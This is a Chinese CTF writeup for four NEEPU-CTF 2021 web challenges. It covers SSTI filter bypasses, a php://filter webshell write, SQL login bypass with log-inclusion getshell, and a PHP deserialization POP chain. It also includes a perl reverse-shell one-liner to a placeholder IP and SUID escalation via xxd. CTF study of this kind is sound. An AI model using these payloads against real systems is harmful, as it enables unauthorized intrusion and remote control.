• NEEPU-CTF 2021 Web后四题Writeup


    The_myth_of_Aladdin

    考点:SSTI、个别字符过滤、命令过滤

    这题感觉是安洵杯2020那题SSTI的简化版,这里过滤的东西不是特别多,主要是过滤了空格卡了好久(没发现,呜呜呜)。这里过滤了{{可以使用{%print%}替代、.可以使用[]替换、_可以使用Unicode编码替换,但是好像还过滤一些命令,这里我是用base64 /f*的方式。背景的小姐姐很好看,爱了爱了!

    image-20210522120030495

    upload_club

    考点:php://filter协议文件包含、df绕过

    感觉这里是我做出来的几题中最好的,这里先讲一下思路:上传一个一句话木马的文件,然后包含它即可。

    接着说一下遇到的几个考点:

    ​ 1.这里利用了file_get_contents('php://input')方式获取了POST的所有内容,然后去匹配,如果存在25则结束,但是这里有个缺陷,如果POST上传的形式不是application/x-www-form-urlencoded而是multipart/form-data则获取不到POST请求参数可以绕过这里。

    image-20210523235941462

    ​ 2.这里有个neepu_sec.clubPOST请求的参数如果直接写的话是不行,不过可以写脚本简单遍历一下

    image-20210524000407795

    import requests
    
    url = "http://127.0.0.1/ceshi/a.php"
    
    for i in range(32,128):
        for j in range(32,128):
            data = {
                'neepu'+chr(i)+'sec'+chr(j)+'club':123
            }
            res = requests.post(url=url,data=data)
            if "neepu_sec.club" in res.text:
                print 'neepu'+chr(i)+'sec'+chr(j)+'club'
                exit(0)
                
    #PHP代码:<?var_dump($_POST);?>
    

    ​ 3.其实这步就简单了,因为我们已经绕过了第1点的限制了,所以这里变的很简单,可以直接使用编码绕过base64string,使用php伪协议php://filter,但是需要写入文件,这里我利用的过滤器是string.strip_tags|convert.base64-decode,最后resource配置为?>PD89ZXZhbCgkX1BPU1RbMV0pOz8+/../21.txt,这里使用?>闭合前面的php代码,则他们都会被string.strip_tags过滤器删除,接着base64过滤器将剩下的字符进行解码,则获得一句话木马

    image-20210524000807400

    ​ 4.这里看似不能用<?php,但是如果文件是以<?开头则可以绕过,而不能用php的话,使用短标签<?=?>即可

    image-20210524001721799

    image-20210524002159586

    好像就没啥可以说的,接下来是详细步骤

    先上传了一句话木马

    image-20210523001313665

    然后去包含它,执行phpinfo()时发现过滤好多函数,看来是要绕过df了

    image-20210523001342255

    这里利用了之前朋友给的一个绕php7的df文件,将它通过file_put_contents函数写入。

    image-20210523001059003

    访问根目录下,有个getflag的文件,执行就获得flag

    image-20210523001035179

    gamebox

    考点:SQL万能密码、日志包含Getshell

    上来是一个登陆框(只有username),猜测后台的SQL语句为select * from user where username = '$username',这里ban了好多字符,如or||#--等等,这里把可以通过1'=1='0登陆上去

    接着就是猜正反了,emmm这个我真没啥想法,纯靠硬猜就过了,原本以为就给flag了,可惜没有。不过看到了URL就感觉是文件包含了,这里连想到了日志包含

    image-20210524200829249

    先判断好日志的位置

    image-20210524200750642

    接着上传一句话木马

    image-20210524201000281

    接着测试一下一句话木马是否可用

    image-20210524201144938

    最后通过蚁剑拿到flag

    image-20210524201309128

    serialize_club

    考点:任意文件读取、session反序列化、Linux下的SUID提权

    是一个站点,页面上没有看到什么有用的信息,于是看了一下源代码。又是一个文件包含的漏洞,尝试读index.php文件源码。

    image-20210524202621552

    这里发现代码做了base64编码,解码一下就可以了

    image-20210524202902213

    在源码中看到了这个,知道是session反序列化漏洞

    image-20210524203116240

    构造一下POP链,代码如下

    <?php
    error_reporting(0);
    class backdoor {
        protected
            //! eval code
            $cmd = 'eval($_POST[1]);?>';
    }
    class neepu {
        protected
            //! Neepu
            $neepu,
            //! Memory-held data
            $data,
            //! Info
            $info;
        public function setneepu($a){
            $this->neepu = $a;
        }
        public function setinfo($a){
            $this->info['info'] = $a;
        }
    }
    class n33pu {
        public
            //! Neepu func
            $func;
    }
    class dumb {
        public
            //! dumb
            $dumb;
    }
    
    $back = new backdoor();
    $n33 = new n33pu();
    $n33->func = $back;
    
    $neepu1 = new neepu();
    $neepu1->setinfo($n33);
    
    $neepu2 = new neepu();
    $neepu2->setneepu($neepu1);
    
    $dump = new dumb();
    $dump->dumb = $neepu2;
    
    var_dump(str_replace("s","S",str_replace("x00","\00",serialize($dump))));
    

    接着把序列化的字符串上传了,这里可能会失败,多发一些包,然后多尝试几次就可以了

    image-20210524215524742

    连上靶机后,这里想反弹shell的,但是一般的bashpythonphp都失败了,呜呜呜。

    image-20210524220027901

    最后在网上找了一个perl反弹shell的脚本

    perl -e 'use Socket;$i="xx.xx.xx.xx";$p=xxxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

    接着这里用了find命令查看一下可能存在SUID权限的命令,发现xxd是可以的,然后是通过取巧的方式,因为问了管理员flag的位置,他跟我说在/root下,所以这里直接用去看了flag。

    image-20210524214820196

  • 相关阅读:
    JS BOM对象 History对象 Location对象
    JS 字符串对象 数组对象 函数对象 函数作用域
    JS 引入方式 基本数据类型 运算符 控制语句 循环 异常
    Pycharm Html CSS JS 快捷方式创建元素
    CSS 内外边距 float positio属性
    CSS 颜色 字体 背景 文本 边框 列表 display属性
    【Android】RxJava的使用(三)转换——map、flatMap
    【Android】RxJava的使用(二)Action
    【Android】RxJava的使用(一)基本用法
    【Android】Retrofit 2.0 的使用
  • 原文地址:https://www.cnblogs.com/erR0Ratao/p/14806464.html
Copyright © 2020-2023  润新知